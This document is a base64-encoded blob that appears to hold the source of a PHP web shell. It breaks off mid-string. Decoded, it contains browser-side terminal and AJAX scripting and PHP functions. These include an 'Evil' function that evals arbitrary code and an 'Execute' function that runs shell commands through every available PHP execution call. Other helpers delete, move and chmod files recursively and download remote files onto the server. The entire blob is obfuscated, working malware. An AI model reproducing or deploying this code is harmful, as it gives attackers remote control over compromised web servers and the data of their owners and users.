IwIitkKSxkdDE9eSttK2QsbXRjaD1lWzBdLm1hdGNoKHNvcnR0YWJsZS5EQVRFX1JFKSx5PW10Y2hbM10sbT1tdGNoWzJdLGQ9bXRjaFsxXSwxPT1tLmxlbmd0aCYmKG09IjAiK20pLDE9PWQubGVuZ3RoJiYoZD0iMCIrZCksZHQyPXkrbStkLGR0MT09ZHQyPzA6ZHQxPGR0Mj8tMToxfSxzb3J0X21tZGQ6ZnVuY3Rpb24odCxlKXtyZXR1cm4gbXRjaD10WzBdLm1hdGNoKHNvcnR0YWJsZS5EQVRFX1JFKSx5PW10Y2hbM10sZD1tdGNoWzJdLG09bXRjaFsxXSwxPT1tLmxlbmd0aCYmKG09IjAiK20pLDE9PWQubGVuZ3RoJiYoZD0iMCIrZCksZHQxPXkrbStkLG10Y2g9ZVswXS5tYXRjaChzb3J0dGFibGUuREFURV9SRSkseT1tdGNoWzNdLGQ9bXRjaFsyXSxtPW10Y2hbMV0sMT09bS5sZW5ndGgmJihtPSIwIittKSwxPT1kLmxlbmd0aCYmKGQ9IjAiK2QpLGR0Mj15K20rZCxkdDE9PWR0Mj8wOmR0MTxkdDI/LTE6MX0sc2hha2VyX3NvcnQ6ZnVuY3Rpb24odCxlKXtmb3IodmFyIHI9MCxvPXQubGVuZ3RoLTEsbj0hMDtuOyl7bj0hMTtmb3Iocz1yO3M8bzsrK3MpaWYoZSh0W3NdLHRbcysxXSk+MCl7YT10W3NdO3Rbc109dFtzKzFdLHRbcysxXT1hLG49ITB9aWYoby0tLCFuKWJyZWFrO2Zvcih2YXIgcz1vO3M+cjstLXMpaWYoZSh0W3NdLHRbcy0xXSk8MCl7dmFyIGE9dFtzXTt0W3NdPXRbcy0xXSx0W3MtMV09YSxuPSEwfXIrK319fSxkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyJiZkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixzb3J0dGFibGUuaW5pdCwhMSksL1dlYktpdC9pLnRlc3QobmF2aWdhdG9yLnVzZXJBZ2VudCkpdmFyIF90aW1lcj1zZXRJbnRlcnZhbChmdW5jdGlvbigpey9sb2FkZWR8Y29tcGxldGUvLnRlc3QoZG9jdW1lbnQucmVhZHlTdGF0ZSkmJnNvcnR0YWJsZS5pbml0KCl9LDEwKTt3aW5kb3cub25sb2FkPXNvcnR0YWJsZS5pbml0LGRlYW5fYWRkRXZlbnQuZ3VpZD0xLGZpeEV2ZW50LnByZXZlbnREZWZhdWx0PWZ1bmN0aW9uKCl7dGhpcy5yZXR1cm5WYWx1ZT0hMX0sZml4RXZlbnQuc3RvcFByb3BhZ2F0aW9uPWZ1bmN0aW9uKCl7dGhpcy5jYW5jZWxCdWJibGU9ITB9LEFycmF5LmZvckVhY2h8fChBcnJheS5mb3JFYWNoPWZ1bmN0aW9uKHQsZSxyKXtmb3IodmFyIG89MDtvPHQubGVuZ3RoO28rKyllLmNhbGwocix0W29dLG8sdCl9KSxGdW5jdGlvbi5wcm90b3R5cGUuZm9yRWFjaD1mdW5jdGlvbih0LGUscil7Zm9yKHZhciBvIGluIHQpdm9pZCAwPT09dGhpcy5wcm90b3R5cGVbb10mJmUuY2FsbChyLHRbb10sbyx0KX0sU3RyaW5nLmZvckVhY2g9ZnVuY3Rpb24odCxlLHIpe0FycmF5LmZvckVhY2godC5zcGxpdCgiIiksZnVuY3Rpb24obyxuKXtlLmNhbGwocixvLG4sdCl9KX07dmFyIGZvckVhY2g9ZnVuY3Rpb24odCxlLHIpe2lmKHQpe3ZhciBvPU9iamVjdDtpZih0IGluc3RhbmNlb2YgRnVuY3Rpb24pbz1GdW5jdGlvbjtlbHNle2lmKHQuZm9yRWFjaCBpbnN0YW5jZW9mIEZ1bmN0aW9uKXJldHVybiB2b2lkIHQuZm9yRWFjaChlLHIpOyJzdHJpbmciPT10eXBlb2YgdD9vPVN0cmluZzoibnVtYmVyIj09dHlwZW9mIHQubGVuZ3RoJiYobz1BcnJheSl9by5mb3JFYWNoKHQsZSxyKX19Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQoJdmFyIHhocjsNCgl3aW5kb3cub25sb2FkPWZ1bmN0aW9uKCl7DQoJCWdldEZvY3VzKCJ0ZXJtaW5hbC1pbnB1dCIpOw0KCQlnZXRGb2N1cygiZmluZC1hY3Rpb24iKTsNCgkJZ2V0Rm9jdXMoInNvdXJjZWZvY3VzIik7DQoJCWdldEZvY3VzKCJwaHAtY29kZSIpOw0KCX07DQoJZnVuY3Rpb24gZ2V0Rm9jdXMoaWQpew0KCQlpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkhPT1udWxsKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLmZvY3VzKCk7fQ0KCX0NCglmdW5jdGlvbiBnZXRBamF4KHR4dCxpZCxtZXRob2QsdXJsKXsNCgkJdmFyIHhtbGh0dHA7DQoJCXZhciB1cmxmPSIiOw0KCQl2YXIgZGF0YT1uZXcgRm9ybURhdGEoKTsNCgkJdmFyIHBhcmFtcz11cmwuc3BsaXQoIiYiKTsNCgkJZm9yKGk9MDtpPHBhcmFtcy5sZW5ndGg7aSsrKXsNCgkJdmFsPXBhcmFtc1tpXS5zcGxpdCgiPSIpOw0KCQlpZih2YWxbMF09PSd0ZXh0LWVuY29kZScpew0KCQlkYXRhLmFwcGVuZCh2YWxbMF0sdmFsWzFdKTsNCgkJfWVsc2V7aWYodmFsWzBdLmluZGV4T2YoJz8nKTwwKQ0KCQl7dXJsZis9JyYnK3ZhbFswXSsnPScrdmFsWzFdO319fQ0KCQlpZih3aW5kb3cuWE1MSHR0cFJlcXVlc3Qpe3htbGh0dHA9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQoJCX1lbHNle3htbGh0dHA9bmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIik7fQ0KCQl4bWxodHRwLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpew0KCQlzdHM9WyJSZXF1ZXN0IE5vdCBJbml0aWFsaXplZCIsDQoJCSJTZXJ2ZXIgQ29ubmVjdGlvbiBFc3RhYmxpc2hlZCIsDQoJCSJSZXF1ZXN0IFJlY2VpdmVkIiwNCgkJIlByb2Nlc3NpbmcgUmVxdWVzdCIsDQoJCSJSZXF1ZXN0IEZpbmlzaGVkIl07DQoJCWlmKHhtbGh0dHAucmVhZHlTdGF0ZT09NCYmeG1saHR0cC5zdGF0dXM9PTIwMCl7DQoJCWlmKHR4dCl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLmlubmVySFRNTD14bWxodHRwLnJlc3BvbnNlVGV4dDsNCgkJfWVsc2V7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnZhbHVlPXhtbGh0dHAucmVzcG9uc2VUZXh0O30NCgkJfWVsc2V7DQoJCWlmKHR4dCl7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLmlubmVySFRNTD0NCgkJIltTdGF0dXNdICIrIlBsZWFzZSBXYWl0Li4uIDxkaXYgY2xhc3M9J2xvYWRpbmcnPjwvZGl2Pjxicj4iKw0KCQkiW1N0YXRlXSAiK3N0c1t4bWxodHRwLnJlYWR5U3RhdGVdKyI8YnI+IisNCgkJIltSZXNwb25zZV0gIit4bWxodHRwLnJlc3BvbnNlOw0KCQl9ZWxzZXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkudmFsdWU9DQoJCSJbU3RhdHVzXSAiKyJQbGVhc2UgV2FpdC4uLlxuIisNCgkJIltTdGF0ZV0gIitzdHNbeG1saHR0cC5yZWFkeVN0YXRlXSsiXG4iKw0KCQkiW1Jlc3BvbnNlXSAiK3htbGh0dHAucmVzcG9uc2U7fX0NCgkJfTsNCgkJeG1saHR0cC5vcGVuKG1ldGhvZCx3aW5kb3cubG9jYXRpb24uaHJlZit1cmxmLHRydWUpOw0KCQl4bWxodHRwLnNlbmQoZGF0YSk7DQoJCXhocj14bWxodHRwOw0KCX0NCglmdW5jdGlvbiBhamF4QWJvcnQodHh0LGlkKXsNCgkJaWYodHh0KXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuaW5uZXJIVE1MPSJDYW5jZWxlZCI7DQoJCX1lbHNle2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS52YWx1ZT0iQ2FuY2VsZWQiO30NCgkJeGhyLmFib3J0KCk7DQoJfQ0KCWZ1bmN0aW9uIGNoZWNrQWxsKCl7DQoJCWZvcih2YXIgaT0wO2k8ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUoJ2Noa1tdJykubGVuZ3RoO2krKyl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRzQnlOYW1lKCdjaGtbXScpW2ldLmNoZWNrZWQ9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUoJ2NoZWNrLWFsbCcpWzBdLmNoZWNrZWQ7fQ0KCX0NCglmdW5jdGlvbiBjaGVja0NvdW50KGlkKXsNCgkJY291bnQ9MTsNCgkJZm9yKHZhciBpPTA7aTxkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnY2hrW10nKS5sZW5ndGg7aSsrKXsNCgkJaWYoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUoJ2Noa1tdJylbaV0uY2hlY2tlZCl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5pbm5lckhUTUw9Y291bnQrKzsNCgkJfWVsc2V7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLmlubmVySFRNTD1jb3VudC0xO319DQoJfQ0KCWZ1bmN0aW9uIG1hcFN3aXRjaChpZCxpZDIpew0KCQl2YXIgYT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCk7DQoJCXZhciBiPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkMik7DQoJCWlmKGEuc3R5bGUuZGlzcGxheT09J2lubGluZS1ibG9jaycpew0KCQlhLnN0eWxlLmRpc3BsYXk9J25vbmUnOw0KCQliLnN0eWxlLmRpc3BsYXk9J2lubGluZS1ibG9jayc7DQoJCX1lbHNle2Euc3R5bGUuZGlzcGxheT0naW5saW5lLWJsb2NrJzsNCgkJYi5zdHlsZS5kaXNwbGF5PSdub25lJzt9DQoJfQ0KCWZ1bmN0aW9uIGdldFBhcmFtZXRlcihwKSB7DQoJCXZhciBzZWFyY2hTdHJpbmc9d2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksDQoJCWksdmFsLHBhcmFtcz1zZWFyY2hTdHJpbmcuc3BsaXQoIiYiKTsNCgkJZm9yKGk9MDtpPHBhcmFtcy5sZW5ndGg7aSsrKXsNCgkJdmFsPXBhcmFtc1tpXS5zcGxpdCgiPSIpOw0KCQlpZih2YWxbMF09PXApew0KCQlyZXR1cm4gdmFsWzFdO319DQoJCXJldHVybiBudWxsOw0KCX0NCjwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHk+DQo8ZGl2IGlkPSJ3cmFwcGVyIj48P3BocA0KDQokY3VyPWFueSgiYyIsJF9TRVNTSU9OKT91cmxkKCRfU0VTU0lPTlsnYyddKTpnZXRjd2QoKTsNCiRkaXI9YW55KCJkIiwkX1JFUVVFU1QpP3VybGQoJF9SRVFVRVNUWydkJ10pOiRjdXI7DQokbWFwPWFueSgiciIsJF9SRVFVRVNUKT9kaXJuYW1lKHVybGQoJF9SRVFVRVNUWydyJ10pKTokZGlyOw0KDQpmdW5jdGlvbiBVbml4KCkgDQp7DQoJcmV0dXJuKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSE9IndpbiIpOw0KfQ0KDQpmdW5jdGlvbiBFdmlsKCR4LCR5PWZhbHNlKQ0Kew0KCSRjPSR5PT10cnVlPyI/PiIuJHguIjw/cGhwICI6JHg7DQoJJGV2aWw9QGV2YWwoJGMpOw0KCWlmKGVycm9yX2dldF9sYXN0KCkpDQoJew0KCQlwcmludCAiXG5bRXJyb3JdICI7DQoJCXJldHVybiBwcmludF9yKGVycm9yX2dldF9sYXN0KCkpOw0KCX0NCglyZXR1cm4gJGV2aWw7DQp9DQoNCmZ1bmN0aW9uIEV4ZWN1dGUoJHgpDQp7DQoJJHg9JHguJyAyPiYxJzsNCglpZighaXNfbnVsbCgkYmFja3RpYz1gJHhgKSkNCgl7DQoJCXJldHVybiAkYmFja3RpYzsNCgl9DQoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpDQoJew0KCQlvYl9zdGFydCgpOw0KCQkkc3lzdGVtPXN5c3RlbSgkeCk7DQoJCSRidWZmPW9iX2dldF9jb250ZW50cygpOw0KCQlvYl9lbmRfY2xlYW4oKTsNCgkJcmV0dXJuICRidWZmOw0KCX0NCgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpDQoJew0KCQkkYnVmZj0iIjsNCgkJZXhlYygkeCwkcmVzdWx0cyk7DQoJCWZvcmVhY2goJHJlc3VsdHMgYXMgJHJlc3VsdCkNCgkJew0KCQkJJGJ1ZmYuPSRyZXN1bHQ7DQoJCX0NCgkJcmV0dXJuICRidWZmOw0KCX0NCgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpDQoJew0KCQkkYnVmZj1zaGVsbF9leGVjKCR4KTsNCgkJcmV0dXJuICRidWZmOw0KCX0NCgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwY250bF9leGVjJykpDQoJew0KCQkkYnVmZj1wY250bF9leGVjKCR4KTsNCgkJcmV0dXJuICRidWZmOw0KCX0NCgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKQ0KCXsNCgkJb2Jfc3RhcnQoKTsJCQ0KCQkkcGFzc3RocnU9cGFzc3RocnUoJHgpOw0KCQkkYnVmZj1vYl9nZXRfY29udGVudHMoKTsNCgkJb2JfZW5kX2NsZWFuKCk7CQ0KCQlyZXR1cm4gJGJ1ZmY7DQoJfQ0KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpKQ0KCXsNCgkJJHByb2M9cHJvY19vcGVuKCR4LGFycmF5KA0KCQkJYXJyYXkoInBpcGUiLCJyIiksDQoJCQlhcnJheSgicGlwZSIsInciKSwNCgkJCWFycmF5KCJwaXBlIiwidyIpDQoJCSksJHBpcGVzKTsNCgkJJGJ1ZmY9c3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOw0KCQlyZXR1cm4gJGJ1ZmY7DQoJfQ0KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3BvcGVuJykpDQoJew0KCQkkYnVmZj0iIjsNCgkJJHBvcD1wb3BlbigkeCwiciIpOw0KCQl3aGlsZSghZmVvZigkcG9wKSkNCgkJew0KCQkJJGJ1ZmYuPWZyZWFkKCRwb3AsMTAyNCk7DQoJCX0NCgkJcGNsb3NlKCRwb3ApOw0KCQlyZXR1cm4gJGJ1ZmY7DQoJfQ0KCXJldHVybiAiUi5JLlAgQ29tbWFuZCI7DQp9DQoNCmZ1bmN0aW9uIFJlbW92ZSgkeCkNCnsNCglpZihpc19kaXIoJHgpKQ0KCXsNCgkJaWYoJGg9QG9wZW5kaXIoJHgpKQ0KCQl7DQoJCQl3aGlsZShmYWxzZSE9PSgkZj1yZWFkZGlyKCRoKSkpDQoJCQl7DQoJCQkJaWYoJGYhPSIuIiYmJGYhPSIuLiIpDQoJCQkJew0KCQkJCQlSZW1vdmUoJHguXy4kZik7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoJGgpOw0KCQl9DQoJCXJldHVybiBybWRpcigkeCk7DQoJfQ0KCWVsc2VpZihpc19maWxlKCR4KSkNCgl7DQoJCXJldHVybiB1bmxpbmsoJHgpOw0KCX0NCglyZXR1cm4gZmFsc2U7DQp9DQoNCmZ1bmN0aW9uIENobW9kUmVjdXJzaXZlKCR4LCR5KQ0Kew0KCWlmKGlzX2RpcigkeCkpDQoJew0KCQlpZigkaD1Ab3BlbmRpcigkeCkpDQoJCXsNCgkJCXdoaWxlKGZhbHNlIT09KCRmPXJlYWRkaXIoJGgpKSkNCgkJCXsNCgkJCQlpZigkZiE9Ii4iJiYkZiE9Ii4uIikNCgkJCQl7DQoJCQkJCUNobW9kUmVjdXJzaXZlKCR4Ll8uJGYpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKCRoKTsNCgkJfQ0KCQlyZXR1cm4gY2htb2QoJHgsJHkpOw0KCX0NCgllbHNlaWYoaXNfZmlsZSgkeCkpDQoJew0KCQlyZXR1cm4gY2htb2QoJHgsJHkpOw0KCX0NCglyZXR1cm4gZmFsc2U7DQp9DQoNCmZ1bmN0aW9uIENvcHlSZWN1cnNpdmUoJHgsJHkpDQp7DQoJaWYoaXNfZGlyKCR4KSkNCgl7DQoJCUBta2RpcigkeSk7DQoJCWlmKCRoPUBvcGVuZGlyKCR4KSkNCgkJew0KCQkJd2hpbGUoZmFsc2UhPT0oJGY9cmVhZGRpcigkaCkpKQ0KCQkJew0KCQkJCWlmKCRmIT0iLiImJiRmIT0iLi4iKQ0KCQkJCXsNCgkJCQkJQ29weVJlY3Vyc2l2ZSgkeC5fLiRmLCR5Ll8uJGYpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKCRoKTsNCgkJfQ0KCQlyZXR1cm4gdHJ1ZTsNCgl9DQoJZWxzZWlmKGlzX2ZpbGUoJHgpKQ0KCXsNCgkJcmV0dXJuIGNvcHkoJHgsJHkpOw0KCX0NCglyZXR1cm4gZmFsc2U7DQp9DQoNCmZ1bmN0aW9uIE1vdmVSZWN1cnNpdmUoJHgsJHkpDQp7DQoJaWYoaXNfZGlyKCR4KSkNCgl7DQoJCUBta2RpcigkeSk7DQoJCWlmKCRoPUBvcGVuZGlyKCR4KSkNCgkJew0KCQkJd2hpbGUoZmFsc2UhPT0oJGY9cmVhZGRpcigkaCkpKQ0KCQkJew0KCQkJCWlmKCRmIT0iLiImJiRmIT0iLi4iKQ0KCQkJCXsNCgkJCQkJTW92ZVJlY3Vyc2l2ZSgkeC5fLiRmLCR5Ll8uJGYpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKCRoKTsNCgkJfQ0KCQlyZXR1cm4gUmVtb3ZlKCR4KTsNCgl9DQoJZWxzZWlmKGlzX2ZpbGUoJHgpKQ0KCXsNCgkJaWYoY29weSgkeCwkeSkpDQoJCXsNCgkJCXJldHVybiB1bmxpbmsoJHgpOw0KCQl9DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gR2V0RG93bmxvYWRVcmwoJHgsJHkpDQp7DQoJZ2xvYmFsICRhZ2VudDsNCgkkZmw9Zm9wZW4oJHksInciKTsNCgkkY2g9Y3VybF9pbml0KCk7DQoJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVNFUkFHRU5ULCRhZ2VudCk7DQoJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCR4KTsNCgljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9GSUxFLCRmbCk7DQoJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfSEVBREVSLDApOw0KCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1NTTF9WRVJJRllIT1NULDApOw0KCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOw0KCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEpOw0KCSRycz1jdXJsX2V4ZWMoJGNoKTsNCglpZihjdXJsX2Vycm9yKCRjaCkpIHJldHVybiBjdXJsX2Vycm9yKCRjaCk7DQoJY3VybF9jbG9zZSgkY2gpOw0KCWZjbG9zZSgkZmwpOw0KCXJldHVybiB0cnVlOw0KfQ0KDQpmdW5jdGlvbiBHZXRVcmxFeGlzdHMoJHgpDQp7DQoJZ2xvYmFsICRhZ2VudDsNCgkkY2g9Y3VybF9pbml0KCk7DQoJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVNFUkFHRU5ULCRhZ2VudCk7DQoJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCR4KTsNCgljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9USU1FT1VULDUpOw0KCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDUpOw0KCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KCSRycz1jdXJsX2V4ZWMoJGNoKTsNCgkkaHR0cD1jdXJsX2dldGluZm8oJGNoLENVUkxJTkZPX0hUVFBfQ09ERSk7DQoJaWYoY3VybF9lcnJvcigkY2gpKSByZXR1cm4gY3VybF9lcnJvcigkY2gpOw0KCWN1cmxfY2xvc2UoJGNoKTsNCglyZXR1cm4gKCRodHRwPj0yMDAgJiYgJGh0dHA8MzAwKTsNCn0NCg0KZnVuY3Rpb24gR2V0VXJsQ29udGVudCgkeCkNCnsNCglnbG9iYWwgJGFnZW50Ow0KCSRjaD1jdXJsX2luaXQoKTsNCgljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VU0VSQUdFTlQsJGFnZW50KTsNCgljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VUkwsJHgpOw0KCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1NTTF9WRVJJRllIT1NULDApOw0KCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOw0KCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KCSRycz1jdXJsX2V4ZWMoJGNoKTsNCglpZihjdXJsX2Vycm9yKCRjaCkpIHJldHVybiBjdXJsX2Vycm9yKCRjaCk7DQoJY3VybF9jbG9zZSgkY2gpOw0KCXJldHVybiAkcnM7DQp9DQoNCmZ1bmN0aW9uIEdldFVybEZyb21QYXRoKCR4KQ0Kew0KCSRmaXhfcGF0aD1zdHJfcmVwbGFjZShfLCcvJywkeCk7DQoJJHByb3RvY29sPWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKXx8JF9TRVJWRVJbJ0hUVFBTJ109PT0nb2ZmJz8naHR0cDovLyc6J2h0dHBzOi8vJzsNCgkkcGF0aD1zdHJfcmVwbGFjZShkb2N1bWVudF9yb290LCcnLCRmaXhfcGF0aCk7DQoJcmV0dXJuICRwcm90b2NvbC5zZXJ2ZXJfbmFtZS4kcGF0aDsNCn0NCg0KZnVuY3Rpb24gUG9zdFVybENvbnRlbnQoJHVybCwkY29udGVudCkNCnsNCglnbG9iYWwgJGFnZW50Ow0KCSRwYXJhbXM9YXJyYXkoDQoJCSdodHRwJyA9PiBhcnJheSgNCgkJCSdtZXRob2QnICA9PiAiUE9TVCIsDQoJCQknaGVhZGVyJyAgPT4gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiIuDQoJCQkJCQkgIlVzZXItQWdlbnQ6ICRhZ2VudFxyXG4iLA0KCQkJJ2NvbnRlbnQnID0+IGh0dHBfYnVpbGRfcXVlcnkoJGNvbnRlbnQpDQoJCSkNCgkpOw0KCSRyZXN1bHRzPSIiOw0KCSRjb250ZXh0PXN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkcGFyYW1zKTsNCgkkaGVhZGVyPWdldF9oZWFkZXJzKCR1cmwpOw0KCWlmKCRodHRwPXN1YnN0cigkaGVhZGVyWzBdLDksMykgIT0gIjIwMCIpDQoJew0KCSAgICAkcmVzdWx0cz0iRXJyb3I6ICRodHRwIjsNCgl9DQoJZWxzZQ0KCXsNCgkJLy9maWxlX2dldF9jb250ZW50cw0KCQlpZigkY29udGVudHM9ZmlsZV9nZXRfY29udGVudHMoJHVybCxudWxsLCRjb250ZXh0KSkNCgkJew0KCQkJJHJlc3VsdHM9aHRtbHNwZWNpYWxjaGFycygkY29udGVudHMpOw0KCQl9DQoNCgkJLy9zdHJlYW1fZ2V0X2NvbnRlbnRzDQoJCWlmKCRoYW5kbGU9Zm9wZW4oJHVybCwncicsZmFsc2UsJGNvbnRleHQpKSANCgkJew0KCQkgICAgJGNvbnRlbnRzPXN0cmVhbV9nZXRfY29udGVudHMoJGhhbmRsZSk7DQoJCSAgICBmY2xvc2UoJGhhbmRsZSk7DQoJCSAgICAkcmVzdWx0cz1odG1sc3BlY2lhbGNoYXJzKCRjb250ZW50cyk7DQoJCX0NCg0KCQkvL2ZvcGVuDQoJCWlmKCRoYW5kbGU9Zm9wZW4oJHVybCwncicsZmFsc2UsJGNvbnRleHQpKQ0KCQl7DQoJCQkkY29udGVudHM9IiI7DQoJCQl3aGlsZSghZmVvZigkaGFuZGxlKSkgDQoJCQl7DQoJCQkJJGNvbnRlbnRzLj1mcmVhZCgkaGFuZGxlLDEwMjQwKTsNCgkJCX0NCgkJCWZjbG9zZSgkaGFuZGxlKTsNCgkJCSRyZXN1bHRzPWh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnRzKTsNCgkJfQ0KDQoJfQ0KCXJldHVybiAkcmVzdWx0czsNCn0NCg0KZnVuY3Rpb24gR2V0RmlsZVR5cGUoJHgpIA0Kew0KCWlmKGlzX2ZpbGUoJHgpKSANCgl7DQoJCXJldHVybiBwYXRoaW5mbygkeClbJ2V4dGVuc2lvbiddOw0KCX0NCgllbHNlaWYoaXNfZGlyKCR4KSkgDQoJeyANCgkJcmV0dXJuICJkaXIiOw0KCX0NCgllbHNlaWYoaXNfbGluaygkeCkpIA0KCXsgDQoJCXJldHVybiAibGluayI7DQoJfQ0KCWVsc2UNCgl7DQoJCXJldHVybiAiLSI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBHZXRGaWxlVGltZSgkeCwkeSkgDQp7DQoJc3dpdGNoKCR5KSANCgl7DQoJCWNhc2UgImNyZWF0ZSI6cmV0dXJuIGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZWN0aW1lKCR4KSk7YnJlYWs7DQoJCWNhc2UgIm1vZGlmeSI6cmV0dXJuIGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCR4KSk7YnJlYWs7DQoJCWNhc2UgImFjY2VzcyI6cmV0dXJuIGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZWF0aW1lKCR4KSk7YnJlYWs7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBHZXRGaWxlUGVybSgkeCkgDQp7DQoJJHBlcm1zPUBmaWxlcGVybXMoJHgpOw0KCXN3aXRjaCAoJHBlcm1zICYgMHhGMDAwKSANCgl7Y2FzZSAweEMwMDA6JGluZm89J3MnO2JyZWFrO2Nhc2UgMHhBMDAwOiRpbmZvPSdsJzticmVhazsNCgljYXNlIDB4ODAwMDokaW5mbz0ncic7YnJlYWs7Y2FzZSAweDYwMDA6JGluZm89J2InO2JyZWFrOw0KCWNhc2UgMHg0MDAwOiRpbmZvPSdkJzticmVhaztjYXNlIDB4MjAwMDokaW5mbz0nYyc7YnJlYWs7DQoJY2FzZSAweDEwMDA6JGluZm89J3AnO2JyZWFrO2RlZmF1bHQ6JGluZm89J3UnO30NCgkkaW5mbyAuPSgoJHBlcm1zICYgMHgwMTAwKT8ncic6Jy0nKTskaW5mbyAuPSgoJHBlcm1zICYgMHgwMDgwKT8ndyc6Jy0nKTsNCgkkaW5mbyAuPSgoJHBlcm1zICYgMHgwMDQwKT8oKCRwZXJtcyAmIDB4MDgwMCk/J3MnOid4JyApOigoJHBlcm1zICYgMHgwODAwKT8nUyc6Jy0nKSk7DQoJJGluZm8gLj0oKCRwZXJtcyAmIDB4MDAyMCk/J3InOictJyk7JGluZm8gLj0oKCRwZXJtcyAmIDB4MDAxMCk/J3cnOictJyk7DQoJJGluZm8gLj0oKCRwZXJtcyAmIDB4MDAwOCk/KCgkcGVybXMgJiAweDA0MDApPydzJzoneCcgKTooKCRwZXJtcyAmIDB4MDQwMCk/J1MnOictJykpOw0KCSRpbmZvIC49KCgkcGVybXMgJiAweDAwMDQpPydyJzonLScpOyRpbmZvIC49KCgkcGVybXMgJiAweDAwMDIpPyd3JzonLScpOw0KCSRpbmZvIC49KCgkcGVybXMgJiAweDAwMDEpPygoJHBlcm1zICYgMHgwMjAwKT8ndCc6J3gnICk6KCgkcGVybXMgJiAweDAyMDApPydUJzonLScpKTsNCglyZXR1cm4gc3ByaW50ZignJXMgWyVzXScsJGluZm8sc3Vic3RyKGRlY29jdCgkcGVybXMpLDIpKTsNCn0NCg0KZnVuY3Rpb24gR2V0RmlsZVNpemUoJHgpIA0Kew0KCSR4PWFicygkeCk7DQoJJHNpemU9YXJyYXkoJ0InLCdLQicsJ01CJywnR0InLCdUQicsJ1BCJywnRUInLCdaQicsJ1lCJyk7DQoJJGV4cD0keD9mbG9vcihsb2coJHgpL2xvZygxMDI0KSk6MDsNCglyZXR1cm4gc3ByaW50ZignJS4yZiAnLiRzaXplWyRleHBdLCgkeC9wb3coMTAyNCxmbG9vcigkZXhwKSkpKTsNCn0NCg0KZnVuY3Rpb24gR2V0VXNlcigkeCkgDQp7CQ0KCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSYmZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpK